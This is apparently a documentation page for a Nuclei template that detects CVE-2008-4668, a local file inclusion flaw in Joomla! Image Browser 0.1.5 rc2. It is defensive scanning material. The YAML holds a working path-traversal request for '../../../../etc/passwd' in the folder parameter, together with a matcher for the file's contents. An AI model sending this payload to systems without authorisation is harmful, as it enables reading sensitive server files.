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Joomla! Image Browser 0.1.5 rc2 - Local File Inclusion

ID: CVE-2008-4668

Severity: critical

Author: daffainfo

Tags: cve2008,cve,joomla,lfi,edb

Description

Section titled “Description”

Joomla! Image Browser 0.1.5 rc2 is susceptible to local file inclusion via com_imagebrowser which could allow remote attackers to include and execute arbitrary local files via a .. (dot dot) in the folder parameter to index.php.

YAML Source

Section titled “YAML Source”
id: CVE-2008-4668


info:
  name: Joomla! Image Browser 0.1.5 rc2 - Local File Inclusion
  author: daffainfo
  severity: critical
  description: Joomla! Image Browser 0.1.5 rc2 is susceptible to local file inclusion via com_imagebrowser which could allow remote attackers to include and execute arbitrary local files via a .. (dot dot) in the folder parameter to index.php.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to read sensitive files on the server, leading to unauthorized access and potential data leakage.
  remediation: |
    Upgrade to a patched version of Joomla! Image Browser or apply the necessary security patches to mitigate the LFI vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/6618
    - http://securityreason.com/securityalert/4464
    - https://nvd.nist.gov/vuln/detail/CVE-2008-4668
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/45490
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:C/I:P/A:P
    cvss-score: 9
    cve-id: CVE-2008-4668
    cwe-id: CWE-22
    epss-score: 0.01018
    epss-percentile: 0.83418
    cpe: cpe:2.3:a:joomla:com_imagebrowser:0.1.5:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: joomla
    product: com_imagebrowser
  tags: cve2008,cve,joomla,lfi,edb


http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_imagebrowser&folder=../../../../etc/passwd"


    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"


      - type: status
        status:
          - 200
# digest: 490a00463044022023207d03c1bfaa267c692d1b97386f7447db4d95240ce037c24f1e1d90628a14022031aa4b71484a35dc80ad1fdcbebac65df2bade5f50478d95b438b068cc2a85c1:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2008/CVE-2008-4668.yaml"

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